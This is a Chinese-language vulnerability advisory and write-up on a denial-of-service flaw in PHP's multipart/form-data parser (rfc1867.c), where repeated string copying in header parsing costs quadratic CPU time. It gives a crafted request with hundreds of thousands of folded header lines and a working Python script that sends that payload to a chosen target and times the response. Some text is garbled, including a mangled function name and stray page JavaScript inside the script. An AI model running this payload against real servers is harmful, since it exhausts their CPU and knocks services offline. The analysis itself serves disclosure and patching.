【漏洞摘要】
PHP解析multipart/form-datahttp请求的body part请求头时,重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的multipart/form-data请求,导致服务器CPU资源被耗尽,从而远程DOS服务器。
【影响范围】
PHP所有版本
【解决方案】
1. 5.2.17 :一个民间的补丁 2. 5.4.X 直接升级到最新的5.4.41
【漏洞入口】
PHP源码中main/ rfc1867.c负责解析multipart/form-data协议,DOS漏洞出现在main/rfc46675pxultipart_buffer_headers函数。 在详细分析漏洞函数前,先分析进入漏洞函数的路径。PHP解析multipart/form-data http请求体的入口函数在SAPI_POST_HANDLER_FUNC(rfc1867.c中的函数),代码如下。SAPI_POST_HANDLER_FUNC函数首先解析请求的boundary。
/* Get the boundary */
boundary= strstr(content_type_dup, "boundary");
if(!boundary) {
intcontent_type_len = strlen(content_type_dup);
char*content_type_lcase = estrndup(content_type_dup, content_type_len);
php_strtolower(content_type_lcase,content_type_len);
boundary= strstr(content_type_lcase, "boundary");
if(boundary) {
boundary= content_type_dup + (boundary - content_type_lcase);
}
efree(content_type_lcase);
}
if(!boundary || !(boundary = strchr(boundary, '='))) {
sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");
return;
}
boundary++;
boundary_len= strlen(boundary);
…
…
while(!multipart_buffer_eof(mbuff TSRMLS_CC))
{
charbuff[FILLUNIT];
char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;
size_tblen = 0, wlen = 0;
off_toffset;
zend_llist_clean(&header);
if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {
gotofileupload_done;
}
【漏洞原理】
在multipart_buffer_headers函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符’:‘,都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块。该代码块进行1次内存分配,2次内存拷贝,1次内存释放。当value值越来越长,将消耗大量的cpu时间。如果以拷贝一个字节为时间复杂度单位,value的长度为m,时间复杂度为m*m.
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);
entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存
memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝
memcpy(entry.value+ prev_len, line, cur_len); //1次拷贝
entry.value[cur_len+ prev_len] = '\0';
entry.key= estrdup(prev_entry.key);
zend_llist_remove_tail(header);//1次内存释放
【漏洞利用】
构造像以下恶意的http请求,当存在350000行a\n时,在我的测试环境中,一个http请求将消耗10s的cpu时间。每隔若干秒,同时并发多个请求,将导致server端cpu资源长期耗尽,从而到达DOS。总的来说,利用方式和Hash Collision DOS一样。
------WebKitFormBoundarypE33TmSNWwsMphqz
Content-Disposition:form-data; name="file"; filename="s
a
a
a
…
…
…
a"
Content-Type:application/octet-stream
why is it?
------WebKitFormBoundarypE33TmSNWwsMphqz
【漏洞测试】
'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: liusscs@163.com
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser
def http_proxy(proxy_url):
proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
null_proxy_handler = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
#end http_proxy
def check_php_multipartform_dos(url,post_body,headers):
req = urllib2.Request(url)
for key in headers.keys():
req.add_header(key,headers[key])
starttime = datetime.datetime.now();
fd = urllib2.urlopen(req,post_body)
html = fd.read()
endtime = datetime.datetime.now()
usetime=(endtime - starttime).seconds
if(usetime > 5):
result = url+" is vulnerable";
else:
if(usetime > 3):
result = "need to check normal respond time"
return [result,usetime]
#end
def main():
#http_proxy("http://127.0.0.1:8089")
parser = OptionParser()
parser.add_option("-t", "--target", action="store",
dest="target",
default=False,
type="string",
help="test target")
(options, args) = parser.parse_args()
if(options.target):
target = options.target
else:
return;
Num=350000
headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
'Accept-Encoding':'gzip, deflate',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
payload=""
for i in range(0,Num):
payload = payload + "a\n"
body = body + payload;
body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
print "starting...";
respond=check_php_multipartform_dos(target,body,headers)
print "Result : "
print respond[0]
print "Respond time : "+str(respond[1]) + " seconds";
if __name__=="__main__":
main()